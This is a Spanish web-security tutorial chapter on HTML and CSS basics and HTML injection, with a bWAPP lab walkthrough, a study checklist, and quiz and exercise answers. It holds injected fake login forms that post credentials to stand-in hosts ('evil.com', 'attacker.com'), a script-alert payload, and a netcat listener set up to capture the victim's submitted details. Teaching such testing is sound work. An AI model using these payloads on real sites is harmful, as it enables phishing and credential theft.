HTML

En este capítulo, HTML – Fundamentos e Inyección HTML, conectas fundamentos de HTML/CSS con técnicas de revisión manual e inyección HTML para descubrir fallos de seguridad sin herramientas externas. Aprenderás a leer la estructura real que el navegador interpreta, a localizar puntos de entrada (formularios, parámetros, eventos), a distinguir presentación vs. lógica, y a reconocer cuándo una aplicación refleja o almacena tu entrada sin sanearla. Esto te vuelve un pentester que ve lo que los escáneres no ven: errores de lógica, overlays cosméticos, endpoints AJAX y, sobre todo, sitios que confían de más en el cliente.

El lenguaje de marcado de hipertexto ( HTML) es el lenguaje en el que se escriben los sitios web. Los elementos (también conocidos como etiquetas) son los componentes básicos de las páginas HTML e indican al navegador cómo mostrar el contenido. El siguiente fragmento de código muestra un documento HTML simple, cuya estructura es la misma para todos los sitios web:

La estructura HTML (como se muestra en la captura de pantalla) tiene los siguientes componentes:

<!DOCTYPE html> Define que la página es un documento HTML5. Esto facilita la estandarización en diferentes navegadores e indica al navegador que use HTML5 para interpretar la página.

<html> El elemento es el elemento raíz de la página HTML: todos los demás elementos vienen después de este elemento .
<head> El elemento contiene información sobre la página (como el título de la página)
<body> El elemento define el cuerpo del documento HTML; solo el contenido dentro del cuerpo se muestra en el navegador.
<h1> El elemento define un encabezado grande
<p> El elemento define un párrafo
<button><img> Existen muchos otros elementos (etiquetas) que se utilizan para diferentes propósitos. Por ejemplo, existen etiquetas para botones ( ), imágenes ( ), listas y mucho más.

Las etiquetas pueden contener atributos como el atributo de clase, que se puede usar para darle estilo a un elemento (por ejemplo, hacer que la etiqueta tenga un color diferente) , o el atributo src , que se usa en imágenes para especificar la ubicación de una imagen: Un elemento puede tener múltiples atributos, cada uno con su propósito único, por ejemplo, <p attribute1=»value1″ attribute2=»value2″> . <p class=»bold-text»><img src=»img/cat.jpg»>.

Los elementos también pueden tener un atributo id ( ), que es único para cada elemento. A diferencia del atributo class, donde varios elementos pueden usar la misma clase, un elemento debe tener diferentes id para identificarse de forma única . Los id de elemento se utilizan para el estilo y para su identificación mediante JavaScript. <p id=»example»>

Puede ver el HTML de cualquier sitio web haciendo clic derecho y seleccionando «Ver código fuente de la página» (Chrome) / «Mostrar código fuente de la página» (Safari).

Navegadores web

El propósito de un navegador web (Chrome, Edge, Firefox, Safari) es leer documentos HTML y mostrarlos correctamente. Un navegador no muestra las etiquetas HTML, sino que las utiliza para determinar cómo mostrar el documento:

Estructura de la página HTML

La imagen muestra la estructura básica de un documento HTML, el lenguaje fundamental para crear páginas web. Está organizada en dos grandes secciones: el head y el body, que representan respectivamente la parte informativa y la parte visible del sitio.

En la parte superior se encuentra la etiqueta <html>, que indica el inicio del documento. Dentro de ella, el bloque <head> contiene información sobre la página que no se muestra directamente al usuario, como el título, las metas o los enlaces a hojas de estilo. En este caso, se observa una etiqueta <title> con el texto Page title, que define el título que aparece en la pestaña del navegador.

Más abajo está el bloque <body>, donde se coloca todo el contenido visible de la página. Aquí se incluyen un encabezado <h1> con el texto This is a heading y dos párrafos <p> que contienen texto descriptivo. Cada uno de estos elementos representa una parte del contenido que el usuario verá cuando cargue la página en su navegador.

Este ejemplo ilustra claramente cómo se organiza el código HTML en niveles jerárquicos, donde cada etiqueta tiene una función específica. Comprender esta estructura es esencial para cualquier persona que quiera empezar a crear o analizar sitios web, y también es la base para entender cómo se pueden inyectar, modificar o manipular elementos desde el punto de vista del pentesting o la seguridad web.

Nota: El contenido de la sección <body> se mostrará en el navegador. El contenido del elemento <title> se mostrará en la barra de título del navegador o en la pestaña de la página.

mapa conceptual completo sobre HTML y CSS

HTML (HyperText Markup Language)

La parte izquierda del mapa explica los fundamentos de HTML, dividido en categorías jerárquicas:

🔹 HTML Basics

HTML Document Structure: cómo se organiza un documento HTML.
HTML Tag Concept: explica que todo contenido HTML se define mediante etiquetas.

🔹 HTML Tags

Se subdivide en grupos de etiquetas según su función:

Top Level Tags → <html>, <head>, <body>, <!DOCTYPE>
Block Tags → <div>, <p>, <h1>–<h6>, <header>, <footer>, <blockquote>, <hr>
Inline Tags → <a>, <img>, <canvas>, <audio>, <video>, <br>, <progress>
Tags for Lists → <ul>, <ol>, <li>
Tags for Tables → <table>, <tr>, <td>, <th>, <thead>, <tbody>, <tfoot>
Tags for Forms → <form>, <input>, <button>, <textarea>, <label>, <select>, <iframe>

🔹 HTML Universal Attributes

Atributos comunes que pueden aplicarse a cualquier etiqueta:

id, class, style, title, dir, contenteditable, contextmenu, accesskey, etc.

🔹 HTML Universal Events

Eventos disponibles para todas las etiquetas:

De ratón: onclick, onmouseover, onmouseout
De teclado: onkeydown, onkeypress, onkeyup
De formulario: onchange, onblur, onfocus
De carga: onload, onunload, onsubmit, entre otros.

CSS (Cascading Style Sheets)

La parte derecha del mapa complementa HTML explicando cómo se aplica estilo visual al contenido.

🔹 Element Style Rules

Reglas de estilo para definir apariencia:

Color y texto: color, font-size, font-family, text-align, line-height
Dimensiones: width, height, min-width, max-height
Margen y relleno: margin, padding
Bordes y fondo: border, background
Visualización y posición: display, position, top, bottom, left, right, z-index
Visibilidad: opacity, visibility, float, clear

Flujo general del mapa

Comienza con HTML (Start Learning)
Pasa por los fundamentos, etiquetas y atributos.
Luego enlaza con CSS, que controla el estilo y la presentación.
Finalmente llega al nodo Finish HTML, representando el dominio completo de la base del desarrollo web.

Esta imagen es un mapa de aprendizaje de HTML y CSS, ideal para estudiantes o autodidactas que deseen entender la relación entre:

la estructura (HTML),
el estilo (CSS),
y la interactividad (eventos).

Es una representación visual muy completa del temario básico de desarrollo front-end.

Inyecciónes

Puede que hasta acá HTML parezca algo soso, básico, más de estructura y con poca vida y una utilidad discutible a la hora de realizar un ataque porque claramente para eso JS suele ser ideal. Pero veremos que HTML no es tan inocuo como parece.

La inyección HTML es una vulnerabilidad que ocurre cuando se muestra información del usuario sin filtrar en la página. Si un sitio web no depura la información del usuario (filtra cualquier texto malicioso que este introduzca) y dicha información se utiliza en la página, un atacante puede inyectar código HTML en un sitio web vulnerable.

La desinfección de la entrada es fundamental para mantener la seguridad de un sitio web, ya que la información que un usuario introduce suele utilizarse en otras funciones del frontend y del backend. Una vulnerabilidad que explorarás más adelante es la inyección de bases de datos, donde se puede manipular una consulta de búsqueda en la base de datos para iniciar sesión como otro usuario controlando la entrada que se utiliza directamente en la consulta. Por ahora, centrémonos en la inyección HTML (que se realiza del lado del cliente).

Cuando un usuario tiene control de cómo se muestra su entrada, puede enviar código HTML (o JavaScript) y el navegador lo usará en la página, lo que le permitirá controlar la apariencia y la funcionalidad de la página. La imagen de arriba muestra cómo un formulario envía texto a la página. Lo que el usuario introduce en el campo «¿Cuál es tu nombre?» se pasa a una función JavaScript y se muestra en la página. Esto significa que si el usuario añade su propio HTML o JavaScript en el campo, este se utiliza en la función «sayHi» y se añade a la página. Esto significa que puede añadir su propio HTML (como una etiqueta <h1>) y la entrada se mostrará como HTML puro.

La regla general es no confiar nunca en la entrada del usuario. Para evitar entradas maliciosas, el desarrollador del sitio web debe depurar todo lo que el usuario introduzca antes de usarlo en la función JavaScript; en este caso, el desarrollador podría eliminar cualquier etiqueta HTML.

Ejemplo de inyección. Fuente: THM

Inyección de HTML

Entonces la inyección HTML es una técnica en la que los atacantes insertan código HTML malicioso en un sitio web para alterar su estructura o contenido. Los ataques de inyección HTML suelen tener como objetivo páginas que permiten la entrada de datos, como formularios de comentarios o cajas de búsqueda. Este ataque es posible por un sitio que permite que un usuario mal intencionado inyecte marcas HTML dentro de sus páginas web, y esto es porque no maneja apropiadamente las entradas de datos del usuario. Una vulnerabilidad de inyección HTML es causada por recibir etiquetas HTML, típicamente por la vía de un formulario de entrada, cuyo contenido es renderizado de forma literal dentro de la página. Hay que hacer notar que esto es totalmente aparte de inyectar código Javascript, VBscript, etc.

Los datos que se envían durante este tipo de ataque de inyección pueden ser muy diferentes. Pueden ser algunas etiquetas HTML, que solo mostrarán la información enviada. Además, puede ser todo el formulario o la página falsos. Cuando ocurre este ataque, el navegador generalmente interpreta los datos del usuario malicioso como legítimos y los muestra. Cambiar la apariencia de un sitio web no es el único riesgo que conlleva este tipo de ataque. Es bastante similar al ataque XSS, donde el usuario malintencionado roba las identidades de otras personas. Por lo tanto, el robo de la identidad de otra persona también puede ocurrir durante este ataque de inyección.

Debido a que HTML es el lenguaje utilizado para definir la estructura de una página web, si un atacante puede inyectar marcas HTML podrá cambiar lo que se mostrará en el navegador. Algunas veces esto puede resultar en un cambio de apariencia total de la página, o en otros casos, la creación de formularios para engañar a los usuarios. Por ejemplo, si pudieras inyectar HTML, y estuvieras habilitado para agregar una etiqueta <form> en esa página para preguntarle a un usuario que reingrese el nombre con que se registra y su contraseña al enviar ese formulario, lo que realmente se estaría haciendo es enviar la información a un atacante. Los ciberdelincuentes explotan vulnerabilidades en la validación de datos para insertar código no autorizado. Aquí hay un ejemplo simple:

<!– Ejemplo de un campo de entrada vulnerable –><inputtype=»text»name=»nombre»value=»[aquí va el código malicioso]»>

Si el sitio web no filtra adecuadamente la entrada del usuario, un atacante podría introducir código malicioso en el campo ‘nombre’, afectando así la estructura de la página.

Ejemplos

Si en una web se está decodificando valores URI que estaban codificados cuando renderizaba el texto. Los caracteres en una URI pueden ser ya sea reservados o no reservados. Los caracteres reservados son los que a veces tienen un significado especial, tal como / y &. Los caracteres no reservados son aquellos que no tienen un significado en especial como las letras. Cuando un caracter está codificado en la URI, éste es convertido a su valor de byte en ASCII (American Standard Code for Information Interchange —Código Estándar estadounidense para el Intercambio de Información), y está precedido con el signo de porcentaje (%). Entonces, / se convierte en %2F, & se convierte en %26. ASCII es un tipo de codificación que era el más común en Internet hasta que llegó UTF-8, el cual es otro tipo de codificación.

Ejemplo de texto sin codificar

Hola mundo, !»#$%&/()=

Ejemplo de texto codificado

Hola%20mundo%2C%20%21%22%23%24%25%26%2F%28%29%3D

Si el usuario hubiera enviado caracteres codificados por URL el sitio vulnerable podría decodificarlos y renderizar la salida con las letras correspondientes. Ya con esto, un hacker puede haber enviado un formulario HTML con los campos respectivos para solicitar nombre de usuario y contraseña que serán enviados a un sitio malicioso y capturar las credenciales (mientras que las personas asumían que llenaban un formulario de la empresa)

Tipos de inyección HTML

Este ataque de inyección se puede realizar con dos propósitos diferentes:

Para cambiar la apariencia del sitio web mostrado.
Robar la identidad de otra persona.

Además, este ataque de inyección se puede realizar a través de diferentes partes del sitio web, es decir, campos de entrada de datos y el enlace del sitio web. Sin embargo, los principales tipos son: Inyección de HTML almacenado e Inyección de HTML reflejado

# 1) Inyección de HTML almacenado:

El ataque de inyección almacenada ocurre cuando el código HTML malicioso se guarda en el servidor web y se ejecuta cada vez que el usuario llama a una función adecuada. Sin embargo, en el caso del ataque por inyección reflejado, el código HTML malicioso no se almacena permanentemente en el servidor web. La inyección reflejada ocurre cuando el sitio web responde inmediatamente a la entrada maliciosa.

# 2) Inyección de HTML reflejado:

Esto se puede dividir nuevamente en más tipos:

GET reflejado
POST reflejado
URL reflejada

El ataque de inyección reflejada se puede realizar de manera diferente según los métodos HTTP, es decir, GET y POST. Me gustaría recordar que con el método POST se envían datos y con el método GET se solicitan datos. Para saber qué método se utiliza para los elementos adecuados del sitio web, podemos verificar la fuente de la página.

Por ejemplo , un evaluador puede verificar el código fuente del formulario de inicio de sesión y encontrar qué método se está utilizando para ello. Luego, se puede seleccionar el método de inyección HTML apropiado en consecuencia.

Inyección GET reflejada ocurre, cuando nuestra entrada se muestra (refleja) en el sitio web. Supongamos que tenemos una página simple con un formulario de búsqueda, que es vulnerable a este ataque. Luego, si escribiéramos cualquier código HTML, aparecerá en nuestro sitio web y, al mismo tiempo, se inyectará en el documento HTML. Por ejemplo, ingresamos texto simple con etiquetas HTML:

Inyección de HTML POST reflejada es un poco más difícil. Ocurre cuando se envía un código HTML malicioso en lugar de los parámetros correctos del método POST. Por ejemplo , tenemos un formulario de inicio de sesión, que es vulnerable al ataque HTML. Los datos ingresados en el formulario de inicio de sesión se envían con el método POST. Luego, si escribimos cualquier código HTML en lugar de los parámetros correctos, se enviará con el método POST y se mostrará en el sitio web.

Para realizar un ataque de HTML POST reflejado, se recomienda utilizar un complemento de navegador especial, que falsificará los datos enviados. Uno de ellos es el complemento de Mozilla Firefox ‘Tamper Data’. El complemento se hace cargo de los datos enviados y permite al usuario cambiarlos. Luego, los datos modificados se envían y se muestran en el sitio web.

Si se muestra un código HTML que se está guardando en alguna parte, el evaluador puede estar seguro de que este ataque de inyección es posible. Entonces se puede probar un código más complicado, por Ejemplo , para mostrar el formulario de inicio de sesión falso. Otra solución es el escáner de inyección HTML. Escanear automáticamente contra este ataque puede ahorrarte mucho tiempo. No hay muchas herramientas para las pruebas de inyección de HTML en comparación con otros ataques.

Al seleccionar una herramienta de escaneo, debemos prestar atención a cómo analiza los resultados y si es lo suficientemente precisa o no. Debe tenerse en cuenta que las pruebas manuales no deben olvidarse. De esta manera podemos estar seguros de qué entradas exactas se prueban y qué resultados exactos estamos obteniendo. Además, de esta manera también es más fácil analizar los resultados.

De mi experiencia recomiendo que para ambas formas de prueba debemos tener un buen conocimiento de este tipo de inyección. De lo contrario, sería difícil seleccionar una herramienta de automatización adecuada y analizar sus resultados. Además, siempre se recomienda no olvidarse de probar manualmente, ya que solo nos hace estar más seguros de la calidad.

Veamos un ejemplo práctico (mas adelante enseñare como montar un laboratorio completo y, entre ellos bWAPP. Mientras tanto este ejemplo servirá para poder ver de forma práctica lo que se está explicando.

Inyección HTML bWAPP reflejada (GET)

Ok ahora explicaré la vulnerabilidad de inyección de HTML y cómo probar una aplicación web vulnerable contra esta vulnerabilidad. Para ilustrar cómo se puede comprobar si un sitio web tiene una vulnerabilidad de inyección de HTML, utilicé lo siguiente.

bWAPP : una aplicación web con errores.

Nivel de seguridad: BAJO

Suponiendo que la aplicación no realiza ningún otro procesamiento de datos, inyectaremos cualquier código HTML en los campos de texto vulnerables.

Podemos ver que si utilizamos etiquetas HTML la web responde. Noten como esto lo podemos ver en la barra de direcciones.

Ahora intentamos inyectar una etiqueta html <script>alert(‘laprovittera.com’);</script> en el campo de entrada del apellido.

Un atacante puede ser creativo tanto como quiera engañar a la víctima para que ingrese una URL maliciosa que parezca legítima en el navegador de la víctima. Para ello puede utilizar la ingeniería social u otras técnicas interesantes. ¡Excelente! ¿Quizás pueda agregar un nuevo formulario y capturar los detalles ingresados en él? Creé un formulario de inicio de sesión HTML rápido y sencillo que enlaza con un oyente en una máquina atacante.

<h2>Login Here!</h2>

<p><label for=»login»>Login:</label><br />

<p><label for=»pass»>Password:</label><br />

<button type=»submit» name=»form» value=»submit»>Submit</button>

</form>

Utilicé este HTML como mis datos en la página.

¡Publicar estos creó otro formulario! ¡Excelente!

Una vez que el formulario estuvo activo, configuré un oyente usando nc –lvp 2345

Completar el formulario y enviarlo debería capturar los detalles de mi máquina atacante.

¡Y lo hace!

esto podría explotarse mucho más ya que la inyección de HTML es en realidad parte de la URL y, por lo tanto, la página podría compartirse con otros usuarios desprevenidos

¿Qué es CSS?

CSS es el lenguaje que utilizamos para dar estilo a una página web.

CSS significa hojas de estilo en cascada
CSS describe cómo se deben mostrar los elementos HTML en la pantalla, el papel o en otros medios.
CSS ahorra mucho trabajo. Permite controlar el diseño de varias páginas web a la vez.
Las hojas de estilo externas se almacenan en archivos CSS

¿Por qué utilizar CSS?

CSS se utiliza para definir estilos para sus páginas web, incluido el diseño, la disposición y las variaciones de visualización para diferentes dispositivos y tamaños de pantalla. Ejemplo de CSS:

Sintaxis CSS

Una regla CSS consta de un selector y un bloque de declaración:

El selector apunta al elemento HTML que desea diseñar.
El bloque de declaración contiene una o más declaraciones separadas por punto y coma.
Cada declaración incluye un nombre de propiedad CSS y un valor, separados por dos puntos.
Las declaraciones CSS múltiples se separan con punto y coma, y los bloques de declaración están rodeados por llaves.

En este ejemplo, todos los elementos <p> estarán alineados al centro, con un color de texto rojo:

Ejemplo explicado

P es un selector en CSS (apunta al elemento HTML que quieres estilizar: <p>).
color es una propiedad, y red es el valor de la propiedad
text-align es una propiedad, y center es el valor de la propiedad

Resumen claro del contenido (lo esencial que debes retener)

HTML define la estructura (head/body, etiquetas, atributos, eventos). El navegador no muestra las etiquetas: las interpreta para construir el DOM.
CSS define la presentación (layout, caja, tipografía, visibilidad). Cambiar display/visibility solo esconde o muestra; no protege.
Ver código fuente y DevTools te permiten:
- Identificar comentarios, rutas, frameworks y versiones expuestas.
- Localizar elementos superpuestos (paywalls, banners) y distinguir si son cosméticos (cliente) o enforcement (servidor).
- Usar Network para ver XHR/AJAX, parámetros y respuestas (muchas veces contienen banderas/datos útiles).
Inyección HTML ocurre cuando la aplicación inserta sin sanear tu entrada en el DOM como HTML:
- Reflejada (GET/POST/URL): la entrada vuelve en la respuesta actual.
- Almacenada: se guarda y afecta a futuras vistas/usuarios.
- Impacto: desfiguración visual, phishing in-page (formularios falsos), y en combinación con JS → escalada hacia XSS.
Codificación/decodificación: si la app decodifica entradas de la URI y luego las inyecta, puedes burlar filtros y controlar la salida.
Ética y método: prueba siempre en entornos autorizados (p. ej., bWAPP/THM), documenta pasos reproducibles y diferencia evidencia de explotación.

Mapa conceptual (HTML + CSS + Seguridad) — visión de 1 pantalla

HTML (estructura)

Documento
- <!DOCTYPE html> → modo estándar
- (raíz)
  - <head> → metadatos, <title>, enlaces a CSS/JS
  - <body> → contenido visible
Etiquetas
- Top-level: <html>, <head>, <body>, <!DOCTYPE>
- Bloque: <div>, <p>, <h1>…<h6>, <header>, <footer>, <blockquote>
- Inline: <a>, <img>, <span>, <br>, <strong>, <em>, <video>, <audio>
- Listas: <ul>, <ol>, <li>
- Tablas: <table>, <thead>, <tbody>, <tr>, <th>, <td>
- Formularios: <form>, <input>, <textarea>, <button>, <label>, <select>, <option>
Atributos
- Universales: id (único), class (reutilizable), style, title, dir, contenteditable, accesskey
- Específicos: src (imágenes/scripts), href (enlaces), action/method (formularios)
Eventos (disparan JS)
- Ratón: onclick, onmouseover
- Teclado: onkeydown, onkeyup
- Formulario: onchange, onsubmit
- Carga: onload, onunload

CSS — Estilo y presentación

CSS = Cascading Style Sheets, define apariencia y diseño separado del HTML.
Sintaxis: selector { propiedad: valor; }. Permite controlar múltiples páginas con hojas externas.
Propiedades clave: display, position, margin, padding, width/height, color, font-*, z-index, visibility, opacity.
Seguridad: cambiar CSS (por ejemplo display:none) puede revelar contenido oculto en el cliente, pero no sustituye al control de acceso del servidor.

CSS (presentación)

Selección: por etiqueta, .class, #id, combinadores
Caja y disposición: display, position, top/left, margin, padding, border, z-index, float/clear
Tipografía y color: font-*, line-height, color, text-align
Dimensiones y fondo: width/height, min/max-*, background-*
Visibilidad: visibility, opacity
Buenas prácticas: separa estructura (HTML) de estilo (CSS) y lógica (JS)

Seguridad en cliente

Superficie de entrada: formularios, parámetros GET/POST, fragmentos URL, atributos editables, eventos
Riesgos:
- Inyección HTML (renderizado literal de marcas)
  - Reflejada: GET/POST/URL (respuesta inmediata)
  - Almacenada: persiste en el servidor y afecta a otros usuarios
- XSS (ejecución de JS) — relacionado pero distinto
Defensas (lado dev):
- Saneado/escape de salida (contextual)
- Whitelist de etiquetas/atributos permitidos
- Codificación de caracteres/URI donde corresponda
- CSP (Content Security Policy) para limitar impacto

Mini-checklist “solo con el navegador” (para tus notas de campo)

Fuente/DOM: busca <!– comentarios –>, rutas ocultas, ids/clases “sospechosos”, elementos ocultos (display:none, hidden, aria-hidden).
Inspector: quita overlays (display:none), revela texto, modifica atributos para ver contenido; no confundir con bypass real de servidor.
Network: filtra por XHR/Fetch; revisa Request (método, params) y Response (HTML/JSON) — prueba replays con parámetros alterados.
Inputs: detecta dónde se refleja tu entrada; prueba texto marcado (HTML inofensivo) para confirmar renderizado literal.
Codificación: intenta variantes URL-encoded y observa si el servidor las decodifica antes de reflejarlas.
Persistencia: si la entrada reaparece tras refrescar/cambiar de página → sospecha almacenada.

12 preguntas basadas en el contenido

¿Cuál es la estructura básica de un documento HTML?
¿Qué diferencias hay entre los atributos id y class en HTML?
¿Para qué sirve la etiqueta <head> en un documento HTML?
¿Qué son las etiquetas de bloque y las etiquetas en línea en HTML? Da ejemplos.
¿Qué función tiene el atributo src en una etiqueta <img>?
¿Qué es una inyección HTML y cómo se diferencia de una XSS?
¿Cuál es la diferencia entre una inyección HTML reflejada y almacenada?
¿Cómo se puede ejecutar un ataque de HTML injection reflejado mediante el método GET?
¿Qué implicaciones de seguridad tiene el permitir etiquetas HTML en campos de entrada sin filtrado?
¿Cómo puede un atacante usar una etiqueta <form> inyectada para robar credenciales?
¿Qué función cumple CSS en una página web y cuál es su ventaja principal?
¿Cómo está estructurada una regla CSS y qué partes la componen?

Respuestas detalladas a las 10 preguntas

La estructura básica incluye:

<!DOCTYPE html>
<html>
<head>
    <title>Page title</title>
</head>
<body>
    <h1>This is a heading</h1>
    <p>This is a paragraph.</p>
</body>
</html>

<!DOCTYPE html>: indica que se usará HTML5
<html>: raíz del documento
<head>: metadatos y recursos
<body>: contenido visible

id: debe ser único, usado para identificar un solo elemento.
class: puede repetirse en varios elementos, ideal para aplicar estilos comunes.
Ejemplo:

Contiene información no visible directamente para el usuario:

<title>: título del sitio
<meta>: codificación, descripciones
<link>: hojas de estilo externas
<script>: JS que se ejecuta al cargar

Bloque: ocupan todo el ancho, forman secciones (<div>, <p>, <h1>)
En línea: dentro de líneas de texto (<a>, <span>, <img>)

Define la fuente del recurso (imagen, video, etc.):

Una inyección HTML permite insertar etiquetas HTML maliciosas que el navegador renderiza como contenido legítimo.

HTML Injection afecta la estructura visual o contenido
XSS (cross-site scripting) ejecuta código JavaScript
Ambas se basan en no filtrar adecuadamente la entrada del usuario.

Almacenada: el HTML malicioso se guarda en el servidor y se muestra cada vez que se carga la página.
Reflejada: el código se refleja en la respuesta inmediatamente, sin almacenarse.

El atacante escribe en un campo vulnerable y en la URL se ve algo así:

https://site.com/buscar?query=<h1>HACKED</h1>

Si no se filtra, el HTML se renderiza y aparece en la página.

El navegador procesa como legítimo cualquier código HTML inyectado si no hay sanitización. Riesgos:

Alteración de diseño
Creación de formularios falsos
Ingeniería social para robar datos

10.

El atacante inyecta un <form> que apunta a su servidor:

<form action=»http://evil.com» method=»POST»>
<input name=»user»>
<input name=»pass» type=»password»>
<button>Login</button>
</form>

Cuando la víctima llena y envía el formulario, sus credenciales son enviadas al atacante.

11. ¿Qué función cumple CSS en una página web y cuál es su ventaja principal?

CSS (Cascading Style Sheets) se usa para dar estilo visual a los elementos HTML de una página web. Permite controlar aspectos como colores, márgenes, fuentes, alineaciones, etc. Su ventaja principal es que puede aplicar estilos a múltiples páginas desde un único archivo, lo que mejora la eficiencia y consistencia del diseño.

12. ¿Cómo está estructurada una regla CSS y qué partes la componen?

Una regla CSS tiene dos partes:

selector {
propiedad: valor;
}

Selector: indica a qué elemento HTML se aplicará el estilo (ej. p, #id, .clase).
Propiedad: define qué se va a estilizar (ej. color, font-size).
Valor: asigna el valor a esa propiedad (ej. red, 20px).

10 ejercicios que el alumno pueda resolver

Escribe un documento HTML básico que incluya un encabezado <h1>, un párrafo <p> y una imagen.
Crea una etiqueta <a> con un href que apunte a » https://example.com» y que muestre el texto “Ir al sitio”.
¿Cuál es la diferencia entre estas dos etiquetas? <p id=»texto1″> y <p class=»texto1″>
En un campo de entrada vulnerable, escribe un código HTML que muestre en pantalla el mensaje “Hola, Hacker”.
Escribe una regla CSS que centre el texto de los párrafos y lo pinte de verde.
Explica con tus propias palabras qué hace este fragmento: <input type=»text» value=»<h1>Hola</h1>»>
¿Qué resultado tendría introducir este contenido en un campo vulnerable? <h2>Acceso Denegado</h2>
Inyecta un formulario falso de login en un sitio vulnerable y explica su funcionamiento.
Convierte esta URL codificada a su forma legible: Hola%20mundo%2C%20%21%22%23%24
Escribe un CSS que aplique color azul al texto de todos los encabezados <h1>.

Respuestas detalladas a los 10 ejercicios

<!DOCTYPE html>
<html>
<head>
<title>Mi primera página</title>
</head>
<body>
<h1>Bienvenidos</h1>
<p>Esta es mi primera página HTML.</p>
<img src=»img/foto.jpg» alt=»Imagen»>
</body>
</html>

<a href=»https://example.com»>Ir al sitio</a>

id=»texto1″: Identificador único, no puede repetirse.
class=»texto1″: Puede ser compartido entre varios elementos.

<h1>Hola, Hacker</h1>

Resultado: el texto se verá como un título grande en la página.

5. Regla CSS centrada y verde:

p {
color: green;
text-align: center;
}

El navegador interpretará el valor como HTML y lo mostrará renderizado si es vulnerable. Si no, lo tratará como texto plano.

Muestra un encabezado <h2> con el texto “Acceso Denegado”. Si el sitio es vulnerable, el usuario puede pensar que la página está restringida.

Inyección de formulario:

<form action=»http://attacker.com» method=»POST»>
<input name=»usuario»>
<input name=»password» type=»password»>
<button>Enviar</button>
</form>

El formulario recoge los datos y los envía al atacante.

Decodificación de URI:

Hola mundo, !»#$

%20 = espacio
%21 = !
%22 = «
%23 = #
%24 = $

10. CSS que aplica color azul a <h1>:

h1 {
color: blue;
}

Qué aprendiste

Ahora entiendes cómo se construye lo que ves (HTML/CSS) y cómo puede romperse cuando la aplicación confía en tu entrada. Sabes:

mapear la superficie de entrada sin ruido,
diferenciar cosmético vs. servidor,
confirmar inyección HTML (reflejada/almacenada),
y usar DevTools para conseguir evidencia sólida.

Este enfoque te hace rápido, discreto y efectivo en auditorías reales. Practícalo en laboratorios autorizados y úsalo como base para avanzar a análisis de XSS, IDOR y CSRF. ¡Buen trabajo—cada etiqueta y cada request ahora cuentan a tu favor! 🚀

HTML – Fundamentos e Inyección HTML